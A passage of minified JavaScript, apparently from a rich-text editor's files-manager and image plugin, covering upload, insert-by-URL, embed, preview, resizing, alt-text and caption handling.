=\'fr-file-view-image\' autoplay>\n\n <source src="'.concat(B.get(e).link,'" type="').concat(Le(B.get(e)),'" />\n\n Your browser does not support the audio element.\n </audio>\n </div>\n </div>');o[0].innerHTML=p+o[0].innerHTML}else if(ze(Le(B.get(e)))){var g=B.get(e).link,u=B.get(e).text;if(g.endsWith(".pdf")||g.endsWith(".txt")){var m='<div class="fr-file-view-modal">\t\n <div class="fr-file-view-modal-content " >\t\n <div class="fr-file-view-close">×</div> \t\n <iframe src="'.concat(g,"\" style='background-color: white;' height='50%' width='50%' title=\"").concat(u,'" class="fr-file fr-file-view-image"></iframe>\t\n </div>\t\n </div>');o[0].innerHTML=m+o[0].innerHTML}else if(0===g.indexOf("blob:")&&L.browser.msie&&window.navigator&&window.navigator.msSaveBlob)window.navigator.msSaveBlob(T.get(e),u);else{var v=document.createElement("a");v.href=g,v.download=u,v.click()}}}}(t)}),L.events.$on(l,"click",".fr-file-delete-button",function(e){q(parseInt(this.id.split("-").pop()))}),L.events.$on(l,"click",".fr-file-cancel-upload-button",function(e){!function i(e){var t=L.popups.get("filesManager.insert");t.find(".fr-file-item-right-"+e).get(0).innerHTML=ye(e),E.get(e).abort(),xe(e,100,!0),t.find(".fr-checkbox-file-"+e).get(0).disabled=!0}(parseInt(this.id.split("-").pop()))}),L.events.$on(l,"click",".fr-upload-delete-button",function(e){!function t(e){0!=E.get(e).readyState&&(E.get(e).abort(),xe(e,100,!0),E["delete"](e)),q(e)}(parseInt(this.id.split("-").pop()))}),L.events.$on(l,"click",".fr-file-view-close",function(e){l.find(".fr-file-view-modal").get(0).outerHTML=""}),L.events.$on(l,"click",".fr-plugins-enable",function(e){!function t(){m.forEach(function(e){L.opts.pluginsEnabled.indexOf(e)<0&&L.opts.pluginsEnabled.push(e)})}(),function i(e){for(var t in e)if(!L[t]){if(It.PLUGINS[t]&&L.opts.pluginsEnabled.indexOf(t)<0)continue;L[t]=new e[t](L),L[t]._init&&L[t]._init()}}(It.PLUGINS),L.popups.get("filesManager.insert").get(0).outerHTML="",Fe(),y(!0)}),L.events.$on(l,"click",".fr-plugins-cancel",function(e){L.popups.hide("filesManager.insert")}),L.events.$on(l,"drop",".fr-upload-progress",function(e){e.preventDefault(),e.stopPropagation()}),L.events.$on(l,"drop",".fr-files-upload-layer",function(e){e.preventDefault(),e.stopPropagation(),S(this).removeClass("fr-drop");var t=e.originalEvent.dataTransfer;if(t&&t.files){var i=l.data("instance")||L;i.events.disableBlur();for(var n=[],a=0;a<t.files.length;a++){var r=u;T.set(r,t.files[a]),ve(r),R.set(r,!1),n.push(r),u++}for(var s=0;s<n.length;s++)i.filesManager.upload(T.get(n[s]),t.files,x,n[s]);i.events.enableBlur()}},!0),L.helpers.isIOS()&&L.events.$on(l,"touchstart",'.fr-files-upload-layer input[type="file"]',function(){S(this).trigger("click")},!0),L.events.$on(l,"change",'.fr-files-upload-layer input[type="file"]',function(){if(this.files){var e=l.data("instance")||L;e.events.disableBlur(),l.find("input:focus").blur(),e.events.enableBlur();var t=[];if("undefined"!=typeof this.files&&0<this.files.length){for(var i=0;i<this.files.length;i++){var n=u;T.set(n,this.files[i]),ve(n),R.set(n,!1),++u,t.push(n)}for(var a=0;a<t.length;a++)e.filesManager.upload(T.get(t[a]),this.files,x,t[a])}}S(this).val("")},!0)}function De(t){document.getElementById("fr-file-autoplay-button-"+t).checked?D.push(t):D=D.filter(function(e){return e!=t})}function Ue(e){return e&&"image"===e.split("/")[0]}function ze(e){return e&&"image"!=e.split("/")[0]&&e&&"video"!=e.split("/")[0]&&e&&"audio"!=e.split("/")[0]}function Oe(e){return e&&"video"===e.split("/")[0]}function $e(e){return e&&"audio"===e.split("/")[0]}function Pe(e){var t="audio/ogg",i="video/ogg";if(e==t||e==i||"image/webp"==e||"video/webm"==e){if(L.browser.msie||L.browser.edge||L.browser.safari)return!1;if(L.helpers.isMobile()){if(e==t||e==i)return!1;if(!L.helpers.isAndroid()&&!L.browser.chrome)return!1}}return!0}function Fe(e){if(e)return L.popups.onRefresh("filesManager.insert",b),L.popups.onHide("filesManager.insert",F),!0;var t,i,n="";L.opts.imageUpload||-1===L.opts.filesInsertButtons.indexOf("filesUpload")||L.opts.imageInsertButtons.splice(L.opts.filesInsertButtons.indexOf("filesUpload"),1);var a=L.button.buildList(L.opts.filesInsertButtons),r=L.button.buildList(L.opts.filesInsertButtons2);""!==a&&(n='<div class="fr-buttons fr-tabs">'.concat(a,'<span class="fr-align-right">').concat(r,"</span></div>"));var s=L.opts.filesInsertButtons.indexOf("filesUpload"),o=L.opts.filesInsertButtons.indexOf("filesByURL"),l=L.opts.filesInsertButtons.indexOf("filesEmbed"),d="";0<=s&&(t=" fr-active",0<=o&&o<s&&(t=""),d='<div class="fr-files-upload-layer'.concat(t,' fr-layer " id="fr-files-upload-layer-').concat(L.id,'"><div style="display:flex"><div class="fr-upload-section"><div class = \'fr-blue-decorator\'><div class = \'fr-cloud-icon\'><svg class = "fr-svg" focusable="false" width="26px" height="26px" viewBox = "0 0 24 24" xlmns = "http://w3.org/200/svg"><path d = \'M12 6.66667a4.87654 4.87654 0 0 1 4.77525 3.92342l0.29618 1.50268 1.52794 0.10578a2.57021 2.57021 0 0 1 -0.1827 5.13478H6.5a3.49774 3.49774 0 0 1 -0.3844 -6.97454l1.06682 -0.11341L7.678 9.29387A4.86024 4.86024 0 0 1 12 6.66667m0 -2A6.871 6.871 0 0 0 5.90417 8.37 5.49773 5.49773 0 0 0 6.5 19.33333H18.41667a4.57019 4.57019 0 0 0 0.32083 -9.13A6.86567 6.86567 0 0 0 12 4.66667Zm0.99976 7.2469h1.91406L11.99976 9 9.08618 11.91357h1.91358v3H11V16h2V14h-0.00024Z\'></path></svg></div>Drag & Drop One or More Files<br><div class="fr-decorated"><span> OR </span></div> Click Browse Files </div> </div><div class="fr-form"><input type="file" accept="').concat(L.opts.filesManagerAllowedTypes.join(",").toLowerCase(),'" tabIndex="-1" aria - labelledby="fr-files-upload-layer-').concat(L.id,'"role="button" multiple></div> </div></div>'));var f="";0<=l&&(t=" fr-active",(s<l&&0<=s||o<l&&0<=o)&&(t=""),f='<div class="fr-files-embed-layer fr-layer'.concat(t,'" id="fr-files-embed-layer-').concat(L.id,'"><div class="fr-input-line padding-top-15"><textarea data-gramm_editor="false" style=\'height:60px\' id="fr-files-embed-layer-text').concat(L.id,'" type="text" placeholder="').concat(L.language.translate("Embedded Code"),'" tabIndex="1" aria-required="true" rows="5"></textarea></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="insertEmbed" tabIndex="2" role="button">').concat(L.language.translate("Insert"),"</button></div></div>"));var c="";0<=o&&(t=" fr-active",0<=s&&s<o&&(t=""),c='<div class="fr-files-by-url-layer'.concat(t,' fr-layer" id="fr-files-by-url-layer-').concat(L.id,'"><div class="fr-input-line fr-by-url-padding"><input id="fr-files-by-url-layer-text-').concat(L.id,'" type="text" placeholder="http://" tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="filesInsertByURL" tabIndex="2" role="button">').concat(L.language.translate("Add"),"</button></div></div>"));var p={buttons:n,upload_layer:d,by_url_layer:c,embed_layer:f,upload_progress_layer:"<div class = ' fr-margin-16 fr-upload-progress' id=\"fr-upload-progress-layer-".concat(L.id,"\" ><div class='fr-progress-bar-style'><div class='fr-progress-bar fr-none'></div></div><div id='filesList' class = 'fr-upload-progress-layer fr-layer'></div></div>"),progress_bar:'<div class="fr-files-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="filesDismissError" tabIndex="2" role="button">OK</button></div></div>'};return 1<=L.opts.imageInsertButtons.length&&(i=L.popups.create("filesManager.insert",p)),L.$wp&&L.events.$on(L.$wp,"scroll",function(){x&&L.popups.isVisible("filesManager.insert")&&replace()}),Re(i),L.popups.setPopupDimensions(i),i}function Ne(e){var t=e.split("/").pop();if(t.split(".").length<2){var i=new Date;return t+"-"+i.getDate()+"/"+(i.getMonth()+1)+"/"+i.getFullYear()}return t}function He(){x&&L.popups.get("image.alt").find("input").val(x.attr("alt")||"").trigger("change")}function Ke(){var e=L.popups.get("image.alt");e||(e=Ye()),Q(),L.popups.refresh("image.alt"),L.popups.setContainer("image.alt",L.$sc);var t=lt();dt()&&(t=t.find(".fr-img-wrap"));var i=t.offset().left+t.outerWidth()/2,n=t.offset().top+t.outerHeight();L.popups.show("image.alt",i,n,t.outerHeight(),!0)}function Ye(e){if(e)return L.popups.onRefresh("image.alt",He),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(L.button.buildList(L.opts.imageAltButtons),"</div>"),alt_layer:'<div class="fr-image-alt-layer fr-layer fr-active" id="fr-image-alt-layer-'.concat(L.id,'"><div class="fr-input-line"><input id="fr-image-alt-layer-text-').concat(L.id,'" type="text" placeholder="').concat(L.language.translate("Alternative Text"),'" tabIndex="1"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageSetAlt" tabIndex="2" role="button">').concat(L.language.translate("Update"),"</button></div></div>")},i=L.popups.create("image.alt",t);return L.$wp&&L.events.$on(L.$wp,"scroll.image-alt",function(){x&&L.popups.isVisible("image.alt")&&Ke()}),i}function Ve(){var e=L.popups.get("image.size");if(x)if(dt()){var t=x.parent();t.get(0).style.width||(t=x.parent().parent()),e.find('input[name="width"]').val(t.get(0).style.width).trigger("change"),e.find('input[name="height"]').val(t.get(0).style.height).trigger("change")}else e.find('input[name="width"]').val(x.get(0).style.width).trigger("change"),e.find('input[name="height"]').val(x.get(0).style.height).trigger("change")}function We(){var e=L.popups.get("image.size");e||(e=Ge()),Q(),L.popups.refresh("image.size"),L.popups.setContainer("image.size",L.$sc);var t=lt();dt()&&(t=t.find(".fr-img-wrap"));var i=t.offset().left+t.outerWidth()/2,n=t.offset().top+t.outerHeight();L.popups.show("image.size",i,n,t.outerHeight(),!0)}function Ge(e){if(e)return L.popups.onRefresh("image.size",Ve),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(L.button.buildList(L.opts.imageSizeButtons),"</div>"),size_layer:'<div class="fr-image-size-layer fr-layer fr-active" id="fr-image-size-layer-'.concat(L.id,'"><div class="fr-image-group"><div class="fr-input-line"><input id="fr-image-size-layer-width-\'').concat(L.id,'" type="text" name="width" placeholder="').concat(L.language.translate("Width"),'" tabIndex="1"></div><div class="fr-input-line"><input id="fr-image-size-layer-height').concat(L.id,'" type="text" name="height" placeholder="').concat(L.language.translate("Height"),'" tabIndex="1"></div></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="imageSetSize" tabIndex="2" role="button">').concat(L.language.translate("Update"),"</button></div></div>")},i=L.popups.create("image.size",t);return L.$wp&&L.events.$on(L.$wp,"scroll.image-size",function(){x&&L.popups.isVisible("image.size")&&We()}),i}function Xe(e,t,i,n){return e.pageX=t,Y.call(this,e),e.pageX=e.pageX+i*Math.floor(Math.pow(1.1,n)),V.call(this,e),W.call(this,e),++n}function je(e){(e=e||lt())&&!1!==L.events.trigger("image.beforeRemove",[e])&&(L.popups.hideAll(),it(!0),L.undo.canDo()||L.undo.saveStep(),e.get(0)==L.el?e.removeAttr("src"):(e.get(0).parentNode&&"A"==e.get(0).parentNode.tagName?(L.selection.setBefore(e.get(0).parentNode)||L.selection.setAfter(e.get(0).parentNode)||e.parent().after(It.MARKERS),S(e.get(0).parentNode).remove()):(L.selection.setBefore(e.get(0))||L.selection.setAfter(e.get(0))||e.after(It.MARKERS),e.remove()),L.html.fillEmptyBlocks(),L.selection.restore()),L.undo.saveStep())}function qe(e){var t=e.which;if(x&&(t==It.KEYCODE.BACKSPACE||t==It.KEYCODE.DELETE))return e.preventDefault(),e.stopPropagation(),je(),!1;if(x&&t==It.KEYCODE.ESC){var i=x;return it(!0),L.selection.setAfter(i.get(0)),L.selection.restore(),e.preventDefault(),!1}if(!x||t!=It.KEYCODE.ARROW_LEFT&&t!=It.KEYCODE.ARROW_RIGHT)return x&&t===It.KEYCODE.TAB?(e.preventDefault(),e.stopPropagation(),it(!0),!1):x&&t!=It.KEYCODE.F10&&!L.keys.isBrowserAction(e)?(e.preventDefault(),e.stopPropagation(),!1):void 0;var n=x.get(0);return it(!0),t==It.KEYCODE.ARROW_LEFT?L.selection.setBefore(n):L.selection.setAfter(n),L.selection.restore(),e.preventDefault(),!1}function Ze(e){if(e&&"IMG"==e.tagName){var t;if(L.node.hasClass(e,"fr-uploading")||L.node.hasClass(e,"fr-error"))null===(t=e.parentNode)||void 0===t||t.removeChild(e);else L.node.hasClass(e,"fr-draggable")&&e.classList.remove("fr-draggable");if(e.parentNode&&e.parentNode.parentNode&&L.node.hasClass(e.parentNode.parentNode,"fr-img-caption")){var i=e.parentNode.parentNode;i.removeAttribute("contenteditable"),i.removeAttribute("draggable"),i.classList.remove("fr-draggable");var n=e.nextSibling;n&&n.removeAttribute("contenteditable")}}else if(e&&e.nodeType==Node.ELEMENT_NODE)for(var a=e.querySelectorAll("img.fr-uploading, img.fr-error, img.fr-draggable"),r=0;r<a.length;r++)Ze(a[r])}function Je(e){var t=e.target.result,i=L.opts.imageDefaultWidth;i&&"auto"!=i&&(i+=L.opts.imageResizeWithPercent?"%":"px"),L.undo.saveStep(),L.html.insert('<img data-fr-image-pasted="true" src="'.concat(t,'"').concat(i?' style="width: '.concat(i,';"'):"",">"));var n=L.$el.find('img[data-fr-image-pasted="true"]');n&&st(n,L.opts.imageDefaultDisplay,L.opts.imageDefaultAlign),L.events.trigger("paste.after")}function Qe(e,t){var i=new FileReader;i.onload=function n(e){var t=L.opts.imageDefaultWidth;t&&"auto"!=t&&(t+=L.opts.imageResizeWithPercent?"%":"px"),L.html.insert('<img data-fr-image-pasted="true" src="'.concat(e,'"').concat(t?' style="width: '.concat(t,';"'):"",">"));var i=L.$el.find('img[data-fr-image-pasted="true"]');i&&st(i,L.opts.imageDefaultDisplay,L.opts.imageDefaultAlign),L.events.trigger("paste.after")}(t),i.readAsDataURL(e,t)}function et(e,t){var i=t||e&&e.clipboardData;if(i&&i.items){var n=(i||window.clipboardData).getData("text/html")||"",a=(new DOMParser).parseFromString(n,"text/html").querySelector("img");if(a&&!L.opts.imageUploadURL){if(!a)return!1;var r=a.src,s=null;if(i.types&&-1!=[].indexOf.call(i.types,"text/rtf")||i.getData("text/rtf"))s=i.items[0].getAsFile();else for(var o=0;o<i.items.length;o++)if(s=i.items[o].getAsFile()){It.IMAGE_TYPE=s.type;break}if(s)return Qe(s,r),!1}else{var l=null;if(i.types&&-1!=[].indexOf.call(i.types,"text/rtf")||i.getData("text/rtf"))l=i.items[0].getAsFile();else for(var d=0;d<i.items.length&&!(l=i.items[d].getAsFile());d++);if(l)return function f(e){var t=new FileReader;t.onload=Je,t.readAsDataURL(e)}(l),!1}}}function tt(e){return e=e.replace(/<img /gi,'<img data-fr-image-pasted="true" ')}function it(e){x&&(function t(){return nt}()||!0===e)&&(L.toolbar.enable(),l&&l.removeClass("fr-active"),L.popups.hide("image.edit"),x=null,rt(),d=null,f&&f.hide())}var nt=!1;function at(){nt=!0}function rt(){nt=!1}function st(e,t,i){!L.opts.htmlUntouched&&L.opts.useClasses?(S(e).removeClass("fr-fil fr-fir fr-dib fr-dii"),i&&S(e).addClass("fr-fi".concat(i[0])),t&&S(e).addClass("fr-di".concat(t[0]))):"inline"==t?(e.css({display:"inline-block",verticalAlign:"bottom",margin:L.opts.imageDefaultMargin}),"center"==i?e.css({"float":"none",marginBottom:"",marginTop:"",maxWidth:"calc(100% - ".concat(2*L.opts.imageDefaultMargin,"px)"),textAlign:"center"}):"left"==i?e.css({"float":"left",marginLeft:0,maxWidth:"calc(100% - ".concat(L.opts.imageDefaultMargin,"px)"),textAlign:"left"}):e.css({"float":"right",marginRight:0,maxWidth:"calc(100% - ".concat(L.opts.imageDefaultMargin,"px)"),textAlign:"right"})):"block"==t&&(e.css({display:"block","float":"none",verticalAlign:"top",margin:"".concat(L.opts.imageDefaultMargin,"px auto"),textAlign:"center"}),"left"==i?e.css({marginLeft:0,textAlign:"left"}):"right"==i&&e.css({marginRight:0,textAlign:"right"}))}function ot(){return x}function lt(){return dt()?x.parents(".fr-img-caption").first():x}function dt(){return!!x&&0<x.parents(".fr-img-caption").length}return{_init:function ft(){var r;(function e(){L.events.$on(L.$el,L._mousedown,"IMG"==L.el.tagName?null:'img:not([contenteditable="false"])',function(e){if("false"==S(this).parents("contenteditable").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;L.helpers.isMobile()||L.selection.clear(),t=!0,L.popups.areVisible()&&L.events.disableBlur(),L.browser.msie&&(L.events.disableBlur(),L.$el.attr("contenteditable",!1)),L.draggable||"touchstart"==e.type||e.preventDefault(),e.stopPropagation()}),L.events.$on(L.$el,L._mousedown,".fr-img-caption .fr-inner",function(e){L.core.hasFocus()||L.events.focus(),e.stopPropagation()}),L.events.$on(L.$el,"paste",".fr-img-caption .fr-inner",function(e){!0===L.opts.toolbarInline&&(L.toolbar.hide(),e.stopPropagation())}),L.events.$on(L.$el,L._mouseup,"IMG"==L.el.tagName?null:'img:not([contenteditable="false"])',function(e){if("false"==S(this).parents("contenteditable").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;t&&(t=!1,e.stopPropagation(),L.browser.msie&&(L.$el.attr("contenteditable",!0),L.events.enableBlur()))}),L.events.on("keyup",function(e){if(e.shiftKey&&""===L.selection.text().replace(/\n/g,"")&&L.keys.isArrow(e.which)){var t=L.selection.element(),i=L.selection.endElement();t&&"IMG"==t.tagName?Ee(S(t)):i&&"IMG"==i.tagName&&Ee(S(i))}},!0),L.events.on("window.mousedown",at),L.events.on("window.touchmove",rt),L.events.on("mouseup window.mouseup",function(){if(x)return it(),!1;rt()}),L.events.on("commands.mousedown",function(e){0<e.parents(".fr-toolbar").length&&it()}),L.events.on("image.resizeEnd",function(){L.opts.iframe&&L.size.syncIframe()}),L.events.on("blur image.hideResizer commands.undo commands.redo element.dropped",function(){it(!(t=!1))}),L.events.on("modals.hide",function(){x&&L.selection.clear()}),L.events.on("image.resizeEnd",function(){L.win.getSelection&&Ee(x)}),L.opts.imageAddNewLine&&L.events.on("image.inserted",function(e){var t=e.get(0);for(t.nextSibling&&"BR"===t.nextSibling.tagName&&(t=t.nextSibling);t&&!L.node.isElement(t);)t=L.node.isLastSibling(t)?t.parentNode:null;L.node.isElement(t)&&(L.opts.enter===It.ENTER_BR?e.after("<br>"):S(L.node.blockParent(e.get(0))).after("<".concat(L.html.defaultTag(),"><br></").concat(L.html.defaultTag(),">")))})})(),"IMG"==L.el.tagName&&L.$el.addClass("fr-view"),L.helpers.isMobile()&&(L.events.$on(L.$el,"touchstart","IMG"==L.el.tagName?null:'img:not([contenteditable="false"])',function(){fe=!1}),L.events.$on(L.$el,"touchmove",function(){fe=!0})),L.opts.pluginsEnabled.includes("filestack")&&L.events.on("filestack.pluginsEnabled",function(){Fe()}),L.$wp?(L.events.on("window.keydown keydown",qe,!0),L.events.on("keyup",function(e){if(x&&e.which==It.KEYCODE.ENTER)return!1},!0),L.events.$on(L.$el,"keydown",function(){var e=L.selection.element();(e.nodeType===Node.TEXT_NODE||"BR"==e.tagName&&L.node.isLastSibling(e))&&(e=e.parentNode),L.node.hasClass(e,"fr-inner")||(L.node.hasClass(e,"fr-img-caption")||(e=S(e).parents(".fr-img-caption").get(0)),L.node.hasClass(e,"fr-img-caption")&&(L.opts.trackChangesEnabled||S(e).after(It.INVISIBLE_SPACE+It.MARKERS),L.selection.restore()))})):L.events.$on(L.$win,"keydown",qe),L.events.on("toolbar.esc",function(){if(x){if(L.$wp)L.events.disableBlur(),L.events.focus();else{var e=x;it(!0),L.selection.setAfter(e.get(0)),L.selection.restore()}return!1}},!0),L.events.on("toolbar.focusEditor",function(){if(x)return!1},!0),L.events.on("window.cut window.copy",function(e){if(x&&L.popups.isVisible("image.edit")&&!L.popups.get("image.edit").find(":focus").length){var t=lt();dt()?(t.before(It.START_MARKER),t.after(It.END_MARKER),L.selection.restore(),L.paste.saveCopiedText(t.get(0).outerHTML,t.text())):L.paste.saveCopiedText(x.get(0).outerHTML,x.attr("alt")),"copy"==e.type?setTimeout(function(){Ee(x)}):(it(!0),L.undo.saveStep(),setTimeout(function(){L.undo.saveStep()},0))}},!0),L.browser.msie&&L.events.on("keydown",function(e){if(!L.selection.isCollapsed()||!x)return!0;var t=e.which;t==It.KEYCODE.C&&L.keys.ctrlKey(e)?L.events.trigger("window.copy"):t==It.KEYCODE.X&&L.keys.ctrlKey(e)&&L.events.trigger("window.cut")}),L.events.$on(S(L.o_win),"keydown",function(e){var t=e.which;if(x&&t==It.KEYCODE.BACKSPACE)return e.preventDefault(),!1}),L.events.$on(L.$win,"keydown",function(e){var t=e.which;x&&x.hasClass("fr-uploading")&&t==It.KEYCODE.ESC&&x.trigger("abortUpload")}),L.events.on("destroy",function(){x&&x.hasClass("fr-uploading")&&x.trigger("abortUpload")}),L.events.on("paste.before",et),L.events.on("paste.beforeCleanup",tt),L.events.on("html.processGet",Ze),L.opts.imageOutputSize&&L.events.on("html.beforeGet",function(){r=L.el.querySelectorAll("img");for(var e=0;e<r.length;e++){var t=parseFloat(S(r[e]).css("padding-left"))+parseFloat(S(r[e]).css("padding-right")),i=S(r[e]).width()-t,n=r[e].style.width||i,a=r[e].style.height||S(r[e]).height();n&&r[e].setAttribute("width","".concat(n).replace(/px/,"")),a&&r[e].setAttribute("height","".concat(a).replace(/px/,""))}}),L.opts.iframe&&L.events.on("image.loaded",L.size.syncIframe),L.events.$on(S(L.o_win),"orientationchange.image",function(){setTimeout(function(){x&&Ee(x)},100)}),function n(e){if(e)return L.$wp&&L.events.$on(L.$wp,"scroll.image-edit",function(){x&&L.popups.isVisible("image.edit")&&L.events.disableBlur()}),!0;var t="";if(0<L.opts.imageEditButtons.length){var i={buttons:t+='<div class="fr-buttons"> \n '.concat(L.button.buildList(L.opts.imageEditButtons),"\n </div>")};return L.popups.create("image.edit",i)}return!1}(!0),Fe(!0),Ge(!0),Ye(!0),L.events.on("node.remove",function(e){if("IMG"==e.get(0).tagName)return je(e),!1}),L.events.on("popups.hide.filesManager.insert",function(e){L.filesManager.minimizePopup(_)})},showInsertPopup:y,showLayer:function ct(e){var t,i,n=L.popups.get("filesManager.insert");if(x||L.opts.toolbarInline){if(x){var a=lt();dt()&&(a=a.find(".fr-img-wrap")),i=a.offset().top+a.outerHeight(),t=a.offset().left}}else{var r=L.$tb.find('.fr-command[data-cmd="insertFiles"]');t=r.offset().left,i=r.offset().top+(L.opts.toolbarBottom?10:r.outerHeight()-10)}!x&&L.opts.toolbarInline&&(i=n.offset().top-L.helpers.getPX(n.css("margin-top")),n.hasClass("fr-above")&&(i+=n.outerHeight())),n.find(".fr-layer").removeClass("fr-active"),n.find(".fr-".concat(e,"-layer")).addClass("fr-active"),n.find(".fr-upload-progress-layer").addClass("fr-active"),L.popups.show("filesManager.insert",t,i,x?x.outerHeight():0),L.accessibility.focusPopup(n)},refreshUploadButton:function pt(e){var t=L.popups.get("filesManager.insert");t&&t.find(".fr-files-upload-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},refreshByURLButton:function gt(e){var t=L.popups.get("filesManager.insert");t&&t.find(".fr-files-by-url-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},upload:Be,insertByURL:function ut(){for(var e,t=L.popups.get("filesManager.insert").find(".fr-files-by-url-layer input"),i=t.val().trim().split(/[ ,]+/),n=[],a=0,r=0;r<i.length;r++)e=i[r],new RegExp("^(https?:\\/\\/)?((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.)+[a-z]{2,}|((\\d{1,3}\\.){3}\\d{1,3}))(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*(\\?[;&a-z\\d%_.~+=-]*)?(\\#[-a-z\\d_]*)?$","i").test(e)&&(n[a]=i[r],a++);if(0!=n.length){if(0<t.val().trim().length&&0<n.length){var o=[],l=[],d=u,f=n.length;n.forEach(function(e,i){if(0==e.trim().length)u==d+--f&&Me(o,l);else{Q(),J(),ee(L.language.translate("Loading file(s)"));var n=e.trim(),t=function s(e){if(void 0===e)return e;var t=null;if(/^http/.test(e)||(e="https://".concat(e)),L.helpers.isURL(e))for(var i=0;i<It.VIDEO_PROVIDERS.length;i++){var n=It.VIDEO_PROVIDERS[i];if(n.test_regex.test(e)&&new RegExp(L.opts.videoAllowedProviders.join("|")).test(n.provider)){t=e.replace(n.url_regex,n.url_text),t=n.html.replace(/\{url\}/,t);break}}return t}(n);if(t){var a={link:n,name:n,type:"video/url",size:2,video:t};T.set(d+i,a),ve(d+i),Q(),J(),ee(L.language.translate("Loading file(s)")),B.set(d+i,a),++u==d+f&&Me(o,l)}else{var r=new XMLHttpRequest;r.onload=function(){if(200==this.status){var e=new Blob([this.response],{type:this.response.type||""});e.name=Ne(n),e.link=n,Ue(this.response.type)?(e.sanitize=!0,e.existing_image=x):ze(this.response.type)&&(e.text=Ne(n)),o.push(e),l.push(d+i),T.set(d+i,e),ve(d+i),(-1<P.indexOf(Le(e))||!Le(e))&&X(O,null,null,d+i)}else{var t=new Blob([this.response],{type:this.response.type||" "});t.name=Ne(n),t.link=n,T.set(d+i,t),ve(d+i),X(U,this.response,x,d+i)}Q(),J(),ee(L.language.translate("Loading file(s)")),++u==d+f&&Me(o,l)},r.onerror=function(){var e={link:n,name:Ne(n),size:0,type:""};X(9,this.response,x,d+i);var t=u;T.set(t,e),ve(t),Q(),J(),ee(L.language.translate("Loading file(s)")),++u==d+f&&Me(o,l)},r.open("GET","".concat(L.opts.imageCORSProxy,"/").concat(n),!0),r.responseType="blob",r.send()}}}),t.val(""),t.blur()}}else te(L.language.translate("Url entered is invalid. Please try again."))},insertAllFiles:function mt(){a=[];var e=L.popups.get("filesManager.insert");g=-1,c=null,e.find(".fr-insert-checkbox").toArray().forEach(function n(e,t,i){e.children.target.checked&&(a.push(parseInt(e.id.split("-").pop())),Ue(B.get(parseInt(e.id.split("-").pop())).type)&&-1==g&&(g=t))}),Ce(a),j()},deleteAllFiles:function e(){L.popups.get("filesManager.insert").find(".fr-insert-checkbox").toArray().forEach(function a(e,t,i){if(e.children.target.checked){var n=parseInt(e.id.split("-").pop());E.has(n)&&E["delete"](n),q(n)}}),j()},get:ot,getEl:lt,insert:_e,showProgressBar:J,remove:je,hideProgressBar:Q,applyStyle:function vt(e,t,i){if(void 0===t&&(t=L.opts.imageStyles),void 0===i&&(i=L.opts.imageMultipleStyles),!x)return!1;var n=lt();if(!i){var a=Object.keys(t);a.splice(a.indexOf(e),1),n.removeClass(a.join(" "))}"object"==Lt(t[e])?(n.removeAttr("style"),n.css(t[e].style)):n.toggleClass(e),Ee(x)},showAltPopup:Ke,showSizePopup:We,setAlt:function ht(e){if(x){var t=L.popups.get("image.alt");x.attr("alt",e||t.find("input").val()||""),t.find("input:focus").blur(),Ee(x)}},setSize:function bt(e,t){if(x){var i=L.popups.get("image.size");e=e||i.find('input[name="width"]').val()||"",t=t||i.find('input[name="height"]').val()||"";var n=/^[\d]+((px)|%)*$/g;x.removeAttr("width").removeAttr("height"),e.match(n)?x.css("width",e):x.css("width",""),t.match(n)?x.css("height",t):x.css("height",""),dt()&&(x.parents(".fr-img-caption").removeAttr("width").removeAttr("height"),e.match(n)?x.parents(".fr-img-caption").css("width",e):x.parents(".fr-img-caption").css("width",""),t.match(n)?x.parents(".fr-img-caption").css("height",t):x.parents(".fr-img-caption").css("height","")),i&&i.find("input:focus").blur(),Ee(x)}},toggleCaption:function yt(){var e;if(x&&!dt()){(e=x).parent().is("a")&&(e=x.parent());var t,i,n=x.parents("ul")&&0<x.parents("ul").length?x.parents("ul"):x.parents("ol")&&0<x.parents("ol").length?x.parents("ol"):[];if(0<n.length){var a=n.find("li").length,r=x.parents("li"),s=document.createElement("li");a-1===r.index()&&(n.append(s),s.innerHTML=" ")}e.attr("style")&&(i=-1<(t=e.attr("style").split(":")).indexOf("width")?t[t.indexOf("width")+1].replace(";",""):"");var o=L.opts.imageResizeWithPercent?(-1<i.indexOf("px")?null:i)||"100%":x.width()+"px";e.wrap('<div class="fr-img-space-wrap"><span '+(L.browser.mozilla?"":'contenteditable="false"')+'class="fr-img-caption '+x.attr("class")+'" style="'+(L.opts.useClasses?"":e.attr("style"))+'" draggable="false"></span><p class="fr-img-space-wrap2"> </p></div>'),e.wrap('<span class="fr-img-wrap"></span>'),x.after('<span class="fr-inner"'.concat(L.browser.mozilla?"":' contenteditable="true"',">").concat(It.START_MARKER).concat(L.language.translate("Image Caption")).concat(It.END_MARKER,"</span>")),x.removeAttr("class").removeAttr("style").removeAttr("width"),x.parents(".fr-img-caption").css("width",o),it(!0),L.selection.restore()}else e=lt(),x.insertAfter(e),x.attr("class",e.attr("class").replace("fr-img-caption","")).attr("style",e.attr("style")),e.remove(),Ee(x)},refreshEmbedButton:function wt(e){var t=L.popups.get("filesManager.insert");t&&t.find(".fr-files-embed-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},insertEmbed:function xt(e){void 0===e&&(e=L.popups.get("filesManager.insert").find(".fr-files-embed-layer textarea").val()||""),0===e.length||!It.VIDEO_EMBED_REGEX.test(e)&&!It.IMAGE_EMBED_REGEX.test(e)?(te(L.language.translate("Something went wrong. Please try again.")),It.VIDEO_EMBED_REGEX.test(e)&&L.events.trigger("video.codeError",[e])):function o(e,t){var 